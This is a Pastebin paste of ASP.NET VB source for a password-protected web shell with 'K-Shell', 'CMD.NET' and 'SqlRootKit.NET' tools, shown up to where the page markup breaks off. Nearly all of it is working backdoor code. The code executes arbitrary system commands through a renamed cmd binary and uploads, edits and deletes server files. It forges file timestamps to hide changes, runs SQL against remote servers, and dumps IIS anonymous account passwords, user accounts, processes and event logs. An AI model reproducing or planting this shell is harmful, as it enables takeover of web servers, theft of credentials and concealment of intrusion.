Advertisement
minh1999

web_shell

Mar 31st, 2018
539
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 44.47 KB | None | 0 0
  1. <%@ Page Language="VB" ContentType="text/html"  validateRequest="false" aspcompat="true"%>
  2. <%@ Import Namespace="System.IO" %>
  3. <%@ import namespace="System.Diagnostics" %>
  4. <%@ import namespace="System.Threading" %>
  5. <%@ import namespace="System.Text" %>
  6. <%@ import namespace="System.Security.Cryptography" %>
  7. <script runat="server">
  8. Dim PASSWORD as string = "ahihihihi"   'Hash MD5 of password
  9. dim url,TEMP1,TEMP2,TITLE as string
  10. Function GetMD5(ByVal strPlain As String) As String
  11.     Dim UE As UnicodeEncoding = New UnicodeEncoding
  12.     Dim HashValue As Byte()
  13.     Dim MessageBytes As Byte() = UE.GetBytes(strPlain)
  14.     Dim md5 As MD5 = New MD5CryptoServiceProvider
  15.     Dim strHex As String = ""
  16.     HashValue = md5.ComputeHash(MessageBytes)
  17.      For Each b As Byte In HashValue
  18.     strHex += String.Format("{0:x2}", b)
  19.     Next
  20.     Return strHex
  21. End Function
  22. Sub Login_click(sender As Object, E As EventArgs)
  23.     if Textbox.Text=PASSWORD then    
  24.         session("kikicoco")=1
  25.         session.Timeout=45
  26.     else
  27.         response.Write("<font color='red'>Your password is wrong! Maybe you press the ""Caps Lock"" buttom. Try again.</font><br>")
  28.     end if
  29. End Sub
  30. 'Run w32 shell
  31. Declare Function WinExec Lib "kernel32" Alias "WinExec" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
  32. Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long)  As Long
  33.  
  34. Sub RunCmdW32(Src As Object, E As EventArgs)
  35.     dim command
  36.     dim fileObject = Server.CreateObject("Scripting.FileSystemObject")     
  37.     dim tempFile = Environment.GetEnvironmentVariable("TEMP") & "\"& fileObject.GetTempName( )
  38.     If Request.Form("txtCommand1") = "" Then
  39.         command = "dir c:\"
  40.     else
  41.         command = Request.Form("txtCommand1")
  42.     End If 
  43.     ExecuteCommand1(command,tempFile)
  44.     OutputTempFile1(tempFile,fileObject)
  45.     'txtCommand1.text=""
  46. End Sub
  47. function ExecuteCommand1(command, tempFile)
  48.     Dim winObj, objProcessInfo, item, local_dir, local_copy_of_cmd, Target_copy_of_cmd
  49.     Dim objStartup, objConfig, objProcess, errReturn, intProcessID, temp_name
  50.     Dim FailIfExists
  51.    
  52.     local_dir = left(request.servervariables("PATH_TRANSLATED"),inStrRev(request.servervariables("PATH_TRANSLATED"),"\"))
  53.     local_copy_of_cmd = Local_dir+"mydoom.exe"
  54.     Target_copy_of_cmd = Environment.GetEnvironmentVariable("Temp")+"\kiss.exe"
  55.     CopyFile(local_copy_of_cmd, Target_copy_of_cmd,FailIfExists)
  56.     errReturn = WinExec(Target_copy_of_cmd + " /c " + command + "  > " + tempFile , 10)
  57.     response.write(errReturn)
  58.     thread.sleep(500)
  59. End function
  60. Sub OutputTempFile1(tempFile,oFileSys)
  61.     On Error Resume Next
  62.     dim oFile = oFileSys.OpenTextFile (tempFile, 1, False, 0)
  63.     resultcmdw32.text=txtCommand1.text & vbcrlf & "<pre>" & (Server.HTMLEncode(oFile.ReadAll)) & "</pre>"
  64.     oFile.Close
  65.     Call oFileSys.DeleteFile(tempFile, True)     
  66. End sub
  67. 'End w32 shell
  68. 'Run WSH shell
  69. Sub RunCmdWSH(Src As Object, E As EventArgs)
  70.     dim command
  71.     dim fileObject = Server.CreateObject("Scripting.FileSystemObject")
  72.     dim oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  73.     dim tempFile = Environment.GetEnvironmentVariable("TEMP") & "\"& fileObject.GetTempName( )
  74.     If Request.Form("txtcommand2") = "" Then
  75.         command = "dir c:\"
  76.     else
  77.         command = Request.Form("txtcommand2")
  78.     End If   
  79.     ExecuteCommand2(command,tempFile)
  80.     OutputTempFile2(tempFile,fileObject)
  81.     txtCommand2.text=""
  82. End Sub
  83. Function ExecuteCommand2(cmd_to_execute, tempFile)
  84.       Dim oScript
  85.       oScript = Server.CreateObject("WSCRIPT.SHELL")
  86.       Call oScript.Run ("mydoom.exe /c " & cmd_to_execute & " > " & tempFile, 0, True)
  87. End function
  88. Sub OutputTempFile2(tempFile,fileObject)
  89.     On Error Resume Next
  90.     dim oFile = fileObject.OpenTextFile (tempFile, 1, False, 0)
  91.     resultcmdwsh.text=txtCommand2.text & vbcrlf & "<pre>" & (Server.HTMLEncode(oFile.ReadAll)) & "</pre>"
  92.     oFile.Close
  93.     Call fileObject.DeleteFile(tempFile, True)
  94. End sub
  95. 'End WSH shell
  96.  
  97. 'System infor
  98. Sub output_all_environment_variables(mode)
  99.     Dim environmentVariables As IDictionary = Environment.GetEnvironmentVariables()
  100.     Dim de As DictionaryEntry
  101.     For Each de In  environmentVariables
  102.     if mode="HTML" then
  103.     response.write("<b> " +de.Key + " </b>: " + de.Value + "<br>")
  104.     else
  105.     if mode="text"
  106.     response.write(de.Key + ": " + de.Value + vbnewline+ vbnewline)
  107.     end if     
  108.     end if
  109.     Next
  110. End sub
  111. Sub output_all_Server_variables(mode)
  112.     dim item
  113.     for each item in request.servervariables
  114.     if mode="HTML" then
  115.     response.write("<b>" + item + "</b> : ")
  116.     response.write(request.servervariables(item))
  117.     response.write("<br>")
  118.     else
  119.         if mode="text"
  120.             response.write(item + " : " + request.servervariables(item) + vbnewline + vbnewline)
  121.         end if     
  122.     end if
  123.            next
  124. End sub
  125. 'End sysinfor
  126.  
  127. 'Begin List processes
  128. Function output_wmi_function_data(Wmi_Function,Fields_to_Show)
  129.         dim objProcessInfo , winObj, item , Process_properties, Process_user, Process_domain
  130.         dim fields_split, fields_item,i
  131.  
  132.         'on error resume next
  133.  
  134.         table("0","","")
  135.         Create_table_row_with_supplied_colors("black","white","center",Fields_to_Show)
  136.  
  137.         winObj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
  138.         objProcessInfo = winObj.ExecQuery("Select "+Fields_to_Show+" from " + Wmi_Function)                
  139.        
  140.         fields_split = split(Fields_to_Show,",")
  141.         for each item in objProcessInfo
  142.             tr
  143.                 Surround_by_TD_and_Bold(item.properties_.item(fields_split(0)).value)
  144.                 if Ubound(Fields_split)>0 then
  145.                     for i = 1 to ubound(fields_split)
  146.                         Surround_by_TD(center_(item.properties_.item(fields_split(i)).value))              
  147.                     next
  148.                 end if
  149.             _tr
  150.         next
  151. End function
  152. Function output_wmi_function_data_instances(Wmi_Function,Fields_to_Show,MaxCount)
  153.         dim objProcessInfo , winObj, item , Process_properties, Process_user, Process_domain
  154.         dim fields_split, fields_item,i,count
  155.         newline
  156.         rw("Showing the first " + cstr(MaxCount) + " Entries")
  157.         newline
  158.         newline
  159.         table("1","","")
  160.         Create_table_row_with_supplied_colors("black","white","center",Fields_to_Show)
  161.         _table
  162.         winObj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
  163. '       objProcessInfo = winObj.ExecQuery("Select "+Fields_to_Show+" from " + Wmi_Function)                
  164.         objProcessInfo = winObj.InstancesOf(Wmi_Function)                  
  165.        
  166.         fields_split = split(Fields_to_Show,",")
  167.         count = 0
  168.         for each item in objProcessInfo    
  169.             count = Count + 1
  170.             table("1","","")
  171.             tr
  172.                 Surround_by_TD_and_Bold(item.properties_.item(fields_split(0)).value)
  173.                 if Ubound(Fields_split)>0 then
  174.                     for i = 1 to ubound(fields_split)
  175.                         Surround_by_TD(item.properties_.item(fields_split(i)).value)               
  176.                     next
  177.                 end if
  178.             _tr
  179.             if count > MaxCount then exit for
  180.         next
  181. End function
  182. 'End List processes
  183. 'Begin IIS_list_Anon_Name_Pass
  184. Sub IIS_list_Anon_Name_Pass()
  185.         Dim IIsComputerObj, iFlags ,providerObj ,nodeObj ,item, IP
  186.        
  187.         IIsComputerObj = CreateObject("WbemScripting.SWbemLocator")             ' Create an instance of the IIsComputer object
  188.         providerObj = IIsComputerObj.ConnectServer("127.0.0.1", "root/microsoftIISv2")
  189.         nodeObj  = providerObj.InstancesOf("IIsWebVirtualDirSetting") '  - IISwebServerSetting
  190.        
  191.         Dim MaxCount = 20,Count = 0
  192.         hr
  193.         RW("only showing the first "+cstr(MaxCount) + " items")
  194.         hr
  195.         for each item in nodeObj
  196.             response.write("<b>" + item.AppFriendlyName + " </b> -  ")
  197.             response.write("(" + item.AppPoolId + ") ")
  198.        
  199.             response.write(item.AnonymousUserName + " : ")
  200.             response.write(item.AnonymousUserPass)
  201.            
  202.             response.write("<br>")
  203.            
  204.             response.flush
  205.             Count = Count +1
  206.             If Count > MaxCount then exit for
  207.         next       
  208.         hr
  209. End sub
  210. 'End IIS_list_Anon_Name_Pass
  211. Sub RunCMD(Src As Object, E As EventArgs)
  212.     Try
  213.     Dim kProcess As New Process()
  214.     Dim kProcessStartInfo As New ProcessStartInfo("mydoom.exe")
  215.     kProcessStartInfo.UseShellExecute = False
  216.     kProcessStartInfo.RedirectStandardOutput = true
  217.     kProcess.StartInfo = kProcessStartInfo
  218.     kProcessStartInfo.Arguments="/c " & Cmd.text
  219.     kProcess.Start()
  220.     Dim myStreamReader As StreamReader = kProcess.StandardOutput
  221.     Dim myString As String = myStreamReader.Readtoend()
  222.     kProcess.Close()
  223.     result.text=Cmd.text & vbcrlf & "<pre>" & mystring & "</pre>"
  224.     Cmd.text=""
  225.     Catch
  226.     result.text="This function has disabled!"
  227.     End Try
  228. End Sub
  229. Sub CloneTime(Src As Object, E As EventArgs)
  230.     existdir(time1.Text)
  231.     existdir(time2.Text)
  232.     Dim thisfile As FileInfo =New FileInfo(time1.Text)
  233.     Dim thatfile As FileInfo =New FileInfo(time2.Text)
  234.     thisfile.LastWriteTime = thatfile.LastWriteTime
  235.     thisfile.LastAccessTime = thatfile.LastAccessTime
  236.     thisfile.CreationTime = thatfile.CreationTime
  237.     response.Write("<font color=""red"">Clone Time Success!</font>")
  238. End Sub
  239. sub Editor(Src As Object, E As EventArgs)
  240.     dim mywrite as new streamwriter(filepath.text,false,encoding.default)
  241.     mywrite.write(content.text)
  242.     mywrite.close
  243.     response.Write("<script>alert('Edit|Creat " & replace(filepath.text,"\","\\") & " Success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(filepath.text)) &"'</sc" & "ript>")
  244. end sub
  245. Sub UpLoad(Src As Object, E As EventArgs)
  246.     dim filename,loadpath as string
  247.     filename=path.getfilename(UpFile.value)
  248.     loadpath=request.QueryString("src") & filename
  249.     if  file.exists(loadpath)=true then
  250.         response.Write("<script>alert('File " & replace(loadpath,"\","\\") & " have existed , upload fail!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(request.QueryString("src")) &"'</sc" & "ript>")
  251.         response.End()
  252.     end if
  253.     UpFile.postedfile.saveas(loadpath)
  254.     response.Write("<script>alert('File " & filename & " upload success!\nFile info:\n\nClient Path:" & replace(UpFile.value,"\","\\") & "\nFile Size:" & UpFile.postedfile.contentlength & " bytes\nSave Path:" & replace(loadpath,"\","\\") & "\n');")
  255.     response.Write("location.href='" & request.ServerVariables("URL") & "?action=goto&src=" & server.UrlEncode(request.QueryString("src")) & "'</sc" & "ript>")
  256. End Sub
  257. Sub NewFD(Src As Object, E As EventArgs)
  258.     url=request.form("src")
  259.     if NewFile.Checked = True then
  260.         dim mywrite as new streamwriter(url & NewName.Text,false,encoding.default)
  261.         mywrite.close
  262.         response.Redirect(request.ServerVariables("URL") & "?action=edit&src=" & server.UrlEncode(url & NewName.Text))
  263.     else
  264.         directory.createdirectory(url & NewName.Text)
  265.         response.Write("<script>alert('Creat directory " & replace(url & NewName.Text ,"\","\\") & " Success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</sc" & "ript>")
  266.     end if
  267. End Sub
  268. Sub del(a)
  269.     if right(a,1)="\" then
  270.         dim xdir as directoryinfo
  271.         dim mydir as new DirectoryInfo(a)
  272.         dim xfile as fileinfo
  273.         for each xfile in mydir.getfiles()
  274.             file.delete(a & xfile.name)
  275.         next
  276.         for each xdir in mydir.getdirectories()
  277.             call del(a & xdir.name & "\")
  278.         next
  279.         directory.delete(a)
  280.     else
  281.         file.delete(a)
  282.     end if
  283. End Sub
  284. Sub copydir(a,b)
  285.     dim xdir as directoryinfo
  286.     dim mydir as new DirectoryInfo(a)
  287.     dim xfile as fileinfo
  288.     for each xfile in mydir.getfiles()
  289.         file.copy(a & "\" & xfile.name,b & xfile.name)
  290.     next
  291.     for each xdir in mydir.getdirectories()
  292.         directory.createdirectory(b & path.getfilename(a & xdir.name))
  293.         call copydir(a & xdir.name & "\",b & xdir.name & "\")
  294.     next
  295. End Sub
  296. Sub xexistdir(temp,ow)
  297.     if directory.exists(temp)=true or file.exists(temp)=true then
  298.         if ow=0  then
  299.             response.Redirect(request.ServerVariables("URL") & "?action=samename&src=" & server.UrlEncode(url))
  300.         elseif ow=1 then
  301.             del(temp)
  302.         else
  303.             dim d as string = session("cutboard")
  304.             if right(d,1)="\" then
  305.                 TEMP1=url & second(now) & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1))
  306.             else
  307.                 TEMP2=url & second(now) & replace(path.getfilename(d),"","")
  308.             end if
  309.         end if
  310.     end if
  311. End Sub
  312. Sub existdir(temp)
  313.         if  file.exists(temp)=false and directory.exists(temp)=false then
  314.             response.Write("<script>alert('Don\'t exist " & replace(temp,"\","\\")  &" ! Is it a CD-ROM ?');</sc" & "ript>")
  315.             response.Write("<br><br><a href='javascript:history.back(1);'>Click Here Back</a>")
  316.             response.End()
  317.         end if
  318. End Sub
  319.  
  320.  
  321. Sub RunSQLCMD(Src As Object, E As EventArgs)
  322.     Dim adoConn,strQuery,recResult,strResult
  323.     if SqlName.Text<>"" then
  324.         adoConn=Server.CreateObject("ADODB.Connection")
  325.         adoConn.Open("Provider=SQLOLEDB.1;Password=" & SqlPass.Text & ";UID=" & SqlName.Text & ";Data Source = " & ip.Text)
  326.         If Sqlcmd.Text<>"" Then
  327.             strQuery = Sqlcmd.Text
  328.             recResult = adoConn.Execute(strQuery)
  329.             If NOT recResult.EOF Then
  330.                 Do While NOT recResult.EOF
  331.                     strResult = strResult & chr(13) & recResult(0).value
  332.                     recResult.MoveNext
  333.                 Loop
  334.             End if
  335.             recResult = Nothing
  336.             strResult = Replace(strResult," ","&nbsp;")
  337.             strResult = Replace(strResult,"<","&lt;")
  338.             strResult = Replace(strResult,">","&gt;")
  339.             resultSQL.Text=SqlCMD.Text & vbcrlf & "<pre>" & strResult & "</pre>"
  340.             SqlCMD.Text=""
  341.          End if
  342.         adoConn.Close
  343.      End if
  344.  End Sub
  345.  
  346. Function GetStartedTime(ms)
  347.     GetStartedTime=cint(ms/(1000*60*60))
  348. End function
  349. Function getIP()
  350.     Dim strIPAddr as string
  351.     If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then
  352.         strIPAddr = Request.ServerVariables("REMOTE_ADDR")
  353.     ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then
  354.         strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)
  355.     ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then
  356.         strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)
  357.     Else
  358.         strIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
  359.     End If
  360.     getIP = Trim(Mid(strIPAddr, 1, 30))
  361. End Function
  362. Function Getparentdir(nowdir)
  363.     dim temp,k as integer
  364.     temp=1
  365.     k=0
  366.     if len(nowdir)>4 then
  367.         nowdir=left(nowdir,len(nowdir)-1)
  368.     end if
  369.     do while temp<>0
  370.         k=temp+1
  371.         temp=instr(temp,nowdir,"\")
  372.         if temp =0 then
  373.             exit do
  374.         end if
  375.         temp = temp+1
  376.     loop
  377.     if k<>2 then
  378.         getparentdir=mid(nowdir,1,k-2)
  379.     else
  380.         getparentdir=nowdir
  381.     end if
  382. End function
  383. Function Rename()
  384.     url=request.QueryString("src")
  385.     if file.exists(Getparentdir(url) & request.Form("name")) then
  386.         rename=0  
  387.     else
  388.         file.copy(url,Getparentdir(url) & request.Form("name"))
  389.         del(url)
  390.         rename=1
  391.     end if
  392. End Function
  393. Function GetSize(temp)
  394.     if temp < 1024 then
  395.         GetSize=temp & " bytes"
  396.     else
  397.         if temp\1024 < 1024 then
  398.             GetSize=temp\1024 & " KB"
  399.         else
  400.             if temp\1024\1024 < 1024 then
  401.                 GetSize=temp\1024\1024 & " MB"
  402.             else
  403.                 GetSize=temp\1024\1024\1024 & " GB"
  404.             end if
  405.         end if
  406.     end if
  407. End Function
  408.     Sub downTheFile(thePath)
  409.         dim stream
  410.         stream=server.createObject("adodb.stream")
  411.         stream.open
  412.         stream.type=1
  413.         stream.loadFromFile(thePath)
  414.         response.addHeader("Content-Disposition", "attachment; filename=" & replace(server.UrlEncode(path.getfilename(thePath)),"+"," "))
  415.         response.addHeader("Content-Length",stream.Size)
  416.         response.charset="UTF-8"
  417.         response.contentType="application/octet-stream"
  418.         response.binaryWrite(stream.read)
  419.         response.flush
  420.         stream.close
  421.         stream=nothing
  422.         response.End()
  423. End Sub
  424. 'H T M L  S N I P P E T S
  425. public sub Newline
  426.         response.write("<BR>")
  427.     end sub
  428.    
  429.     public sub TextNewline
  430.         response.write(vbnewline)
  431.     end sub
  432.  
  433.     public sub rw(text_to_print)      ' Response.write
  434.         response.write(text_to_print)
  435.     end sub
  436.  
  437.     public sub rw_b(text_to_print)
  438.         rw("<b>"+text_to_print+"</b>")
  439.     end sub
  440.  
  441.     public sub hr()
  442.         rw("<hr>")
  443.     end sub
  444.  
  445.     public sub ul()
  446.         rw("<ul>")
  447.     end sub
  448.  
  449.     public sub _ul()
  450.         rw("</ul>")
  451.     end sub
  452.  
  453.     public sub table(border_size,width,height)
  454.         rw("<table border='"+cstr(border_size)+"' width ='"+cstr(width)+"' height='"+cstr(height)+"'>")
  455.     end sub
  456.  
  457.     public sub _table()
  458.         rw("</table>")
  459.     end sub
  460.  
  461.     public sub tr()
  462.         rw("<tr>")
  463.     end sub
  464.  
  465.     public sub _tr()
  466.         rw("</tr>")
  467.     end sub
  468.  
  469.     public sub td()
  470.         rw("<td>")
  471.     end sub
  472.  
  473.     public sub _td()
  474.         rw("</td>")
  475.     end sub
  476.  
  477.     public sub td_span(align,name,contents)
  478.         rw("<td align="+align+"><span id='"+name+"'>"+ contents + "</span></td>")
  479.     end sub
  480.  
  481.     Public sub td_link(align,title,link,target)
  482.         rw("<td align="+align+"><a href='"+link+"' target='"+target+"'>"+title+"</a></td>")
  483.     end sub
  484.  
  485.     Public sub link(title,link,target)
  486.         rw("<a href='"+link+"' target='"+target+"'>"+title+"</a>")
  487.     end sub
  488.  
  489.     Public sub link_hr(title,link,target)
  490.         rw("<a href='"+link+"' target='"+target+"'>"+title+"</a>")
  491.         hr
  492.     end sub
  493.  
  494.     Public sub link_newline(title,link,target)
  495.         rw("<a href='"+link+"' target='"+target+"'>"+title+"</a>")
  496.         newline
  497.     end sub
  498.    
  499.     public sub empty_Cell(ColSpan)
  500.         rw("<td colspan='"+cstr(colspan)+"'></td>")
  501.     end sub
  502.  
  503.     public sub empty_row(ColSpan)
  504.         rw("<tr><td colspan='"+cstr(colspan)+"'></td></tr>")
  505.     end sub
  506.  
  507.         Public sub Create_table_row_with_supplied_colors(bgColor, fontColor, alignValue, rowItems)
  508.             dim rowItem
  509.  
  510.             rowItems = split(rowItems,",")
  511.             response.write("<tr bgcolor="+bgcolor+">")
  512.             for each rowItem in RowItems
  513.                 response.write("<td align="+alignValue+"><font color="+fontColor+"><b>"+rowItem +"<b></font></td>")
  514.             next
  515.             response.write("</tr>")
  516.  
  517.         end sub
  518.  
  519.         Public sub TR_TD(cellContents)
  520.             response.write("<td>")
  521.             response.write(cellContents)
  522.             response.write("</td>")
  523.         end sub
  524.    
  525.  
  526.         Public sub Surround_by_TD(cellContents)
  527.             response.write("<td>")
  528.             response.write(cellContents)
  529.             response.write("</td>")
  530.         end sub
  531.  
  532.         Public sub Surround_by_TD_and_Bold(cellContents)
  533.             response.write("<td><b>")
  534.             response.write(cellContents)
  535.             response.write("</b></td>")
  536.         end sub
  537.  
  538.         Public sub Surround_by_TD_with_supplied_colors_and_bold(bgColor, fontColor, alignValue, cellContents)
  539.             response.write("<td align="+alignValue+" bgcolor="+bgcolor+" ><font color="+fontColor+"><b>")
  540.             response.write(cellContents)
  541.             response.write("</b></font></td>")
  542.         end sub
  543.     Public sub Create_background_Div_table(title,main_cell_contents,top,left,width,height,z_index)
  544.         response.write("<div style='position: absolute; top: " + top + "; left: " + left + "; width: "+width+"; height: "+height+"; z-index: "+z_index+"'>")
  545.         response.write("  <table border='1' cellpadding='0' cellspacing='0' style='border-collapse: collapse' bordercolor='#111111' width='100%' id='AutoNumber1' height='100%'>")
  546.         response.write("    <tr heigth=20>")
  547.         response.write("      <td bgcolor='black' align=center><font color='white'><b>"+ title +"</b></font></td>")
  548.         response.write("    </tr>")
  549.         response.write("    <tr>")
  550.         response.write("      <td>"+main_Cell_contents+"</td>")
  551.         response.write("    </tr>")
  552.         response.write("  </table>")
  553.         response.write("</div>")
  554.     end sub
  555.  
  556.     Public sub Create_Div_open(top,left,width,height,z_index)
  557.         response.write("<div style='position: absolute; top: " + top + "; left: " + left + "; width: "+width+"; height: "+height+"; z-index: "+z_index+"'>")
  558.     end sub
  559.  
  560.  
  561.     Public sub Create_Div_close()
  562.         response.write("</div>")
  563.     end sub
  564.  
  565.     public sub Create_Iframe(left, top, width, height, name,src)
  566.         rw("<span style='position: absolute; left: " + left+ "; top: " +top + "'>")  
  567.         rw("    <iframe name='" + name+ "' src='" + src+ "' width='" + cstr(width) + "' height='" + cstr(height) + "'></iframe>")
  568.             rw("</span>")
  569.     end sub
  570.  
  571.     public sub Create_Iframe_relative(width, height, name,src)
  572.         rw("    <iframe name='" + name+ "' src='" + src+ "' width='" + cstr(width) + "' height='" + cstr(height) + "'></iframe>")
  573.     end sub
  574.  
  575.     public sub return_100_percent_table()
  576.         rw("<table border width='100%' height='100%'><tr><td>sdf</td></tr></table>")
  577.     end sub
  578.  
  579.     public sub font_size(size)
  580.         rw("<font size="+size+">")
  581.     end sub
  582.  
  583.     public sub end_font()
  584.         rw("</font>")
  585.     end sub
  586.  
  587.     public sub red(contents)
  588.         rw("<font color=red>"+contents+"</font>")
  589.     end sub
  590.  
  591.     public sub yellow(contents)
  592.         rw("<font color='#FF8800'>"+contents+"</font>")
  593.     end sub
  594.  
  595.     public sub green(contents)
  596.         rw("<font color=green>"+contents+"</font>")
  597.     end sub
  598.     public sub print_var(var_name, var_value,var_description)
  599.         if var_description<> "" Then
  600.             rw(b_(var_name)+" : " + var_value + i_("  ("+var_description+")"))
  601.         else
  602.             rw(b_(var_name)+" : " + var_value)
  603.         end if
  604.         newline
  605.     end sub
  606.  
  607. ' Functions
  608.  
  609.     public function br_()
  610.         br_ = "<br>"
  611.     end function
  612.  
  613.     public function b_(contents)
  614.         b_ = "<b>"+ contents + "</b>"
  615.     end function
  616.  
  617.     public function i_(contents)
  618.         i_ = "<i>"+ contents + "</i>"
  619.     end function
  620.  
  621.     public function li_(contents)
  622.         li_ = "<li>"+ contents + "</li>"
  623.     end function
  624.  
  625.     public function h1_(contents)
  626.         h1_ = "<h1>"+ contents + "</h1>"
  627.     end function
  628.  
  629.     public function h2_(contents)
  630.         h2_ = "<h2>"+ contents + "</h2>"
  631.     end function
  632.  
  633.     public function h3_(contents)
  634.         h3_ = "<h3>"+ contents + "</h3>"
  635.     end function
  636.  
  637.     public function big_(contents)
  638.         big_ = "<big>"+ contents + "</big>"
  639.     end function
  640.  
  641.     public function center_(contents)
  642.         center_ = "<center>"+ cstr(contents) + "</center>"
  643.     end function
  644.  
  645.  
  646.     public function td_force_width_(width)
  647.         td_force_width_ = "<br><img src='' height=0 width=" + cstr(width) +  " border=0>"
  648.     end function
  649.  
  650.  
  651.     public function red_(contents)
  652.         red_ = "<font color=red>"+contents+"</font>"
  653.     end function
  654.  
  655.     public function yellow_(contents)
  656.         yellow_ = "<font color='#FF8800'>"+contents+"</font>"
  657.     end function
  658.  
  659.     public function green_(contents)
  660.         green_ = "<font color=green>"+contents+"</font>"
  661.     end function
  662.  
  663.     Public function link_(title,link,target)
  664.         link_ = "<a href='"+link+"' target='"+target+"'>"+title+"</a>"
  665.     end function
  666. 'End HTML SNIPPETS 
  667. </script>
  668. <%
  669. if request.QueryString("action")="down" and session("kikicoco")=1 then
  670.         downTheFile(request.QueryString("src"))
  671.         response.End()
  672. end if
  673. Dim hu as string = request.QueryString("action")
  674. if hu="cmd" then
  675. TITLE="CMD.NET"
  676. elseif hu="cmdw32" then
  677. TITLE="ASP.NET W32 Shell"
  678. elseif hu="cmdwsh" then
  679. TITLE="ASP.NET WSH Shell"
  680. elseif hu="sqlrootkit" then
  681. TITLE="SqlRootKit.NET"
  682. elseif hu="clonetime" then
  683. TITLE="Clone Time"
  684. elseif hu="information" then
  685. TITLE="Web Server Info"
  686. elseif hu="goto" then
  687. TITLE="K-Shell 1.0"
  688. elseif hu="pro" then
  689. TITLE="List processes from server"
  690. elseif hu="user" then
  691. TITLE="List User Accounts"
  692. elseif hu="applog" then
  693. TITLE="List Application Event Log Entries"
  694. elseif hu="syslog" then
  695. TITLE="List System Event Log Entries"
  696. elseif hu="auser" then
  697. TITLE="IIS List Anonymous' User details"
  698. else
  699. TITLE=request.ServerVariables("HTTP_HOST")
  700. end if
  701. %>
  702. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  703. <html>
  704. <style type="text/css">
  705. body,td,th {
  706.     color: #000000;
  707.     font-family: Verdana;
  708. }
  709. body {
  710.     background-color: #ffffff;
  711.     font-size:12px;
  712. }
  713. .buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}
  714. .TextBox {border: 1px solid #084B8E}
  715. .style3 {color: #FF0000}
  716. </style>
  717. <head>
  718. <meta http-equiv="Content-Type" content="text/html">
  719. <title><%=TITLE%></title>
  720. </head>
  721. <body>
  722. <hr>
  723. <%
  724. Dim error_x as Exception
  725. Try
  726. if session("kikicoco")<>1 then
  727.     'response.Write("<br>")
  728.     'response.Write("Hello , thank you for using my program !<br>")
  729.     'response.Write("This program is run at ASP.NET Environment and manage the web directory.<br>")
  730.     'response.Write("Maybe this program looks like a backdoor , but I wish you like it and don't hack :p<br><br>")
  731.     'response.Write("<span class=""style3"">Notice:</span> only click ""Login"" to login.")
  732. %>
  733. <form runat="server">
  734.   Your Password:<asp:TextBox ID="TextBox" runat="server"  TextMode="Password" class="TextBox" />  
  735.   <asp:Button  ID="Button" runat="server" Text="Login" ToolTip="Click here to login"  OnClick="login_click" class="buttom" />
  736. </form>
  737. <%
  738. else
  739.     dim temp as string
  740.     temp=request.QueryString("action")
  741.     if temp="" then temp="goto"
  742.     select case temp
  743.     case "goto"
  744.         if request.QueryString("src")<>"" then
  745.             url=request.QueryString("src")
  746.         else
  747.             url=server.MapPath(".") & "\"
  748.         end if
  749.     call existdir(url)
  750.     dim xdir as directoryinfo
  751.     dim mydir as new DirectoryInfo(url)
  752.     dim hupo as string
  753.     dim xfile as fileinfo
  754. %>
  755. <table width="90%"  border="0" align="center">
  756.   <tr>
  757.     <td>Currently Dir:</td> <td><font color=red><%=url%></font></td>
  758.   </tr>
  759.   <tr>
  760.     <td width="13%">Operate:</td>
  761.     <td width="87%"><a href="?action=new&src=<%=server.UrlEncode(url)%>" title="New file or directory">New</a> -
  762.       <%if session("cutboard")<>"" then%>
  763.       <a href="?action=paste&src=<%=server.UrlEncode(url)%>" title="you can paste">Paste</a> -
  764.       <%else%>
  765.     Paste -
  766. <%end if%>
  767. <a href="?action=upfile&src=<%=server.UrlEncode(url)%>" title="Upload file">UpLoad</a> - <a href="?action=goto&src=" & <%=server.MapPath(".")%> title="Go to this file's directory">GoBackDir </a> - <a href="?action=logout" title="Exit">Quit</a></td>
  768.   </tr>
  769.   <tr>
  770.     <td>
  771.     Go to: </td>
  772.     <td>
  773. <%
  774. dim i as integer
  775. for i =0 to Directory.GetLogicalDrives().length-1
  776.     response.Write("<a href='?action=goto&src=" & Directory.GetLogicalDrives(i) & "'>" & Directory.GetLogicalDrives(i) & " </a>")
  777. next
  778. %>
  779. </td>
  780.   </tr>
  781.  
  782.   <tr>
  783.     <td>Tool:</td>
  784.     <td><a href="?action=sqlrootkit" >SqlRootKit.NET </a> - <a href="?action=cmd" >CMD.NET</a> - <a href="?action=cmdw32" >kshellW32</a> - <a href="?action=cmdwsh" >kshellWSH</a> - <a href="?action=clonetime&src=<%=server.UrlEncode(url)%>" >CloneTime</a> - <a href="?action=information" >System Info</a> - <a href="?action=pro" >List Processes</a></td>    
  785.   </tr>
  786.   <tr>
  787.     <td> </td>
  788.     <td><a href="?action=applog" >Application Event Log </a> - <a href="?action=user" >List User Accounts</a> - <a href="?action=syslog" >System Log</a> - <a href="?action=auser" >IIS List Anonymous' User details</a></td>    
  789.   </tr>
  790. </table>
  791. <hr>
  792. <table width="90%"  border="0" align="center">
  793.     <tr>
  794.     <td width="40%"><strong>Name</strong></td>
